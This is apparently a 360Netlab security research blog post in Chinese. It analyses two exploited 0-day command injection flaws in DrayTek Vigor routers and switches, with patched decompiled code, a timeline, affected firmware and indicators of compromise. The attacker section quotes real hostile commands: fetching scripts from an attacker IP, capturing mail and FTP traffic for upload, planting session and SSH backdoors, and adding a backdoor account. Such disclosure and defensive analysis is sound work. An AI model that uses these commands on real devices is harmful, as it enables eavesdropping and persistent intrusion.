

0-day

# DrayTek Vigor企业级路由器和交换机设备 在野0-day漏洞分析报告



Genshen Ye

Mar 27, 2020 · 6 min read

本文作者：[马延龙](#), [叶根深](#), [刘宏达](#)

## 背景介绍

从2019年12月4开始，360Netlab未知威胁检测系统持续监测到两个攻击团伙使用DrayTek Vigor企业级路由器和交换机设备o-day漏洞，窃听设备网络流量，开启SSH服务并创建系统后门账号，创建Web Session后门等恶意行为。

2019年12月25号，我们在Twitter[\[1\]](#)[\[2\]](#)上披露了DrayTek Vigor在野o-day漏洞攻击IoC特征，并给相关国家CERT提供技术支持。

2020年2月10号，厂商DrayTek发布安全公告[\[3\]](#)，修复了该漏洞并发布了最新的固件程序1.5.1。

## 漏洞分析

我们根据Firmware Total系统[\[4\]](#)进行DrayTek Vigor在野o-day漏洞定位和模拟漏洞验证。其中2个o-day漏洞命令注入点 `keyPath` , `rtick` 已经被厂商修复，它们均位于 `/www/cgi-bin/mainfunction.cgi` 程序中，对应的Web Server程序为 `/usr/sbin/lighttpd` 。

### keyPath 命令注入漏洞分析

漏洞类型：未授权远程命令执行漏洞

漏洞原因：DrayTek Vigor网络设备在登陆时支持2种账号密码传输方式，分别为明文传输和RSA加密传输。

当使用RSA加密传输时，交互逻辑为：

1. Web前端使用RSA公钥对用户名和密码进行加密，并用 `keyPath` 字段指定 RSA私钥的文件后缀，发起登陆请求；
2. `/www/cgi-bin/mainfunction.cgi` 程序中的 `formLogin()` 函数检测到 `keyPath` 字段不为空时，开始进行解密操作；
3. `formLogin()` 函数根据 `keyPath` 字段，拼接如下路径 `/tmp/rsa/private_key_<keyPath>` 作为RSA私钥；
4. `formLogin()` 函数分别对用户名、密码字段进行Base64解码，并写入到 `/tmp/rsa/binary_login` 文件中，然后拼接如下命令并通过openssl命令解密；

```
openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login
```
5. 最后 `formLogin()` 函数读取解密后的用户名、密码进行验证。

由于在以上过程中对 `keyPath` 字段的危险字符过滤不完善，导致无需授权的远程命令执行。

漏洞修复：在1.5.1版本中，厂商对 `keyPath` 字段限定长度为30，并限定字符必须为十六进制字符。

```

67 keyPath = (char *)cgiGetValue(dword_43E34, "keyPath");
68 username = (char *)cgiGetValue(dword_43E34, "loginUser");
69 v7 = cgiGetValue(dword_43E34, "loginPwd");
70 v8 = username == 0;
71 if (username)
72     v8 = v7 == 0;
73 password = (char *)v7;
74 if (!v8 && keyPath)
75 {
76     if (strlen(keyPath) == 30)
77     {
78         for (i = 0; ; ++i)
79         {
80             if (!keyPath[i])
81             {
82                 v12 = off_434FC[0];
83                 keyPath_1 = check_special_chr(keyPath);
84                 sprintf((char *)&private_keyPath, 0x64u, "%s%s%s", v12, "_", keyPath_1); // /tmp/rsa/private_key_<keyPath>
85                 check_special_chr(username);
86                 username_len = strlen(username);
87                 v15 = base64_decode((int)username, username_len, &out_buf);
88                 file_write(off_43500[0], out_buf, v15); // write to '/tmp/rsa/binary_login'
89                 sprintf((char *)&cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", &private_keyPath, off_43500[0]);
90                 username_1 = run_command(&cmd);
91                 check_special_chr(password);
92                 password_len = strlen(password);
93                 v18 = base64_decode((int)password, password_len, &out_buf);
94                 file_write(off_43500[0], out_buf, v18);
95                 sprintf((char *)&cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", &private_keyPath, off_43500[0]);
96                 password_1 = run_command(&cmd);
97                 sprintf((char *)&cmd, 0x400u, "rm -f '%s' '%s'", &private_keyPath, off_43500[0]);
98                 system((const char *)&cmd);
99                 goto LABEL_13;
100            }
101            if (!isxdigit((unsigned __int8)keyPath[i]))
102                break;
103        }
    }
}

```

## rtick 命令注入漏洞分析

漏洞类型：未授权远程命令执行漏洞

漏洞原因：/www/cgi-bin/mainfunction.cgi 程序中获取验证码的函数是 formCaptcha()，该函数没有过滤传入的时间戳(rtick)，就调用 /usr/sbin/captcha 程序生成以 <rtick>.gif 为名称的验证码图片，导致命令注入。

漏洞修复：在1.5.1版本中，厂商对rtick字段限定字符必须为 [0-9]。

```

9 rtick = cgiGetValue(dword_43E34, "rtick");
10 index = 0;
11 v2 = rtick;
12 while (*(_BYTE *)(index + rtick))
13 {
14     if ((unsigned int)*(unsigned __int8 *)(index + rtick) - '0' > 9 )
15     {
16         syslog(149, "[get_captcha()] ERROR : rtick IS NOT A NUMBER : rtick=%s", rtick);
17         exit(1);
18     }
19     ++index;
20 }
21 sprintf(&s, 0x80u, "/usr/sbin/captcha > /tmp/captcha/'%s'.gif 2> /tmp/captcha_txt/'%s'.txt", rtick, rtick);
22 system(&s);

```

## 在野0-day攻击行为分析

攻击者A

1. 攻击者A利用 `keyPath` 命令注入漏洞，下载并执行

`http://103.82.143.51:58172/vig/tcpst1` 脚本，然后继续下载并执行以下脚本。

```
http://103.82.143.51:58172/vi1  
http://103.82.143.51:58172/vig-mailsend.sh1
```

2. 攻击者A通过脚本 `/etc-mailsend.sh`，窃听DrayTek Vigor网络设备上所有网卡，端口为21, 25, 143, 110的流量。

其中抓包命令为：

```
/usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port  
143 or port 110 -s 65535 -w /data/firewall.pcap &
```

在每周一，三，五，0点0分时，通过crontab计划任务上传窃听到网络数据包 `/data/firewall.pcap` 给

```
https://103.82.143.51:58443/uploLSkciajUS.php。
```

## 攻击者B

1. 攻击者B利用rtick命令注入漏洞，在 `/var/session.json` 文件中创建了2组永不过期的Web Session 后门；

```
json -f /var/session.json set 7:CBZD1S0MBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=1  
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=1
```

2. 攻击者B利用rtick注入漏洞，在TCP/22335, TCP/32459端口开启了SSH后门；

```
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_C 1  
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_C 2
```

3. 攻击者创建了系统后门账号 `wuwuhanhan:caonimuqin`。

```
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCg0$9PkIx3.30VwbIBja/Cz2'  
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIlj0P5$vacG0LqYAXcw3LWek9aJ'
```

## Web Session后门

我们根据攻击者B在野0-day PoC研究发现DrayTek Vigor网络设备在Session中设置 `updatetime` 为0时，对应的功能是Auto-Logout: Disable。此时，这个Session会话永不过期，除非设备重启。

```
25 if ( obj )
26 {
27     session_obj_1 = json_object_get(obj, "cookie");
28     session_obj = session_obj_1;
29     if ( session_obj_1 )
30     {
31         lastime = json_object_get(session_obj_1, "lasttime");
32         updatetime = json_object_get(session_obj, "updatetime");
33         session_ip = json_object_get(session_obj, "ip");
34         json_string_value(session_ip); // from REMOTE_ADDR
35         lastime_1 = json_integer_value(lastime);
36         updatetime_1 = json_integer_value(updatetime);
37         validtime = lastime_1 + updatetime_1;
38         if ( updatetime_1 > 0 && validtime < currentime && flag_1 )// 登陆超时
39         {
40             json_object_del(obj_1, "cookie");
41             json_dump_file(obj_1, "/var/session.json", 0);
42             save_obj(obj_1);
43             json_load_unlock(lock);
44             result = -8;
45         }
46     else
47     {
48         json_integer_set(lastime, currentime); // 更新最后一次请求时间
49         json_object_update(session_obj, lastime);
50         json_dump_file(obj_1, "/var/session.json", 0);
51         save_obj(obj_1);
52         json_load_unlock(lock);
53         result = 1; // 认证成功
54     }
55 }
```

## 时间线

2019年12月4号，我们发现攻击者A使用DrayTek Vigor网络设备0-day keyPath漏洞，窃听设备网络流量。  
2019年12月25号，我们在Twitter上披露攻击者A的IoC特征，并给相关国家CERT提供技术支持。  
2020年1月28号，我们发现攻击者B使用DrayTek Vigor网络设备0-day rtick漏洞，创建SSH和WEB后门。  
2020年2月1号，MITRE发布Vigor路由器0-day漏洞编号CVE-2020-8515。  
2020年2月10号，DrayTek发布安全公告和最新的固件程序。

## 受影响的固件列表

|                    |           |
|--------------------|-----------|
| Vigor2960          | < v1.5.1  |
| Vigor300B          | < v1.5.1  |
| Vigor3900          | < v1.5.1  |
| VigorSwitch20P2121 | <= v2.3.2 |
| VigorSwitch20G1280 | <= v2.3.2 |
| VigorSwitch20P1280 | <= v2.3.2 |

VigorSwitch20G2280 <= v2.3.2  
VigorSwitch20P2280 <= v2.3.2

## 处置建议

我们建议DrayTek Vigor用户及时检查并更新固件系统，同时检查是否存在tcpdump进程，SSH后门账号，Web Session后门等。

我们建议读者对相关IP和URL进行监控和封锁。

## 联系我们

感兴趣的读者，可以在 [twitter](#) 或者在微信公众号 **360Netlab** 上联系我们。

## IoC list

### MD5

```
7c42b66ef314c466c1e3ff6b35f134a4  
01946d5587c2774418b5a6c181199099  
d556aa48fa77040a03ab120b4157c007
```

### URL

```
http://103.82.143.51:58172/vig/tcpst1  
http://103.82.143.51:58172/vi1  
http://103.82.143.51:58172/vig-mailsend.sh1  
https://103.82.143.51:58443/LS0CAISJDANSB.php  
https://103.82.143.51:58443/uploLSkciajUS.php
```

### Scanner IP

103.82.143.51  
178.151.198.73

Korea  
Ukraine

ASN136209  
ASN13188

Korea Fast Ne  
Content Deliv



Start the discussion...

LOG IN WITH

OR SIGN UP WITH DISQUS [?](#)

Name



Share

Best Newest Oldest

Be the first to comment.

[Subscribe](#)[Privacy](#)[Do Not Sell My Data](#)

— 360 Netlab Blog - Network Security Research Lab at 360 —

## 0-day



EwDoor僵尸网络，正在攻击美国AT&T用户

EwDoor Botnet Is Attacking AT&T Customers

一个藏在我们身边的巨型僵尸网络 Pink

0-day

## Two zero days are Targeting DrayTek Broadband CPE Devices

Author: Yanlong Ma, Genshen Ye, Hongda Liu  
Background From December 4, 2019, 360Netlab Threat Detection System has observed two different attack groups using two 0-day vulnerabilities of DrayTek[1] Vigor enterprise routers and switch devices to conduct a series of attacks, including eavesdropping on device's network traffic,...

DNSMon

## 一些网站https证书出现问题的情况分析

[20200328 17:00 更新] 更新数据到20200328 16:00.  
20200326下午，有消息说 [1]github的TLS证书出现了错误告警。证书的结构很奇怪，在其签发者信息中有一个奇怪的email地址：  
346608453@qq.com。明显是一个伪造的证书。为了弄清楚其中的情况，我们对这一事件进行了分析。DNS劫持？出现证书和域名不匹配的最常见的...

See all 22 posts →



• Mar 27, 2020 • 5 min read



• Mar 27, 2020 • 6 min read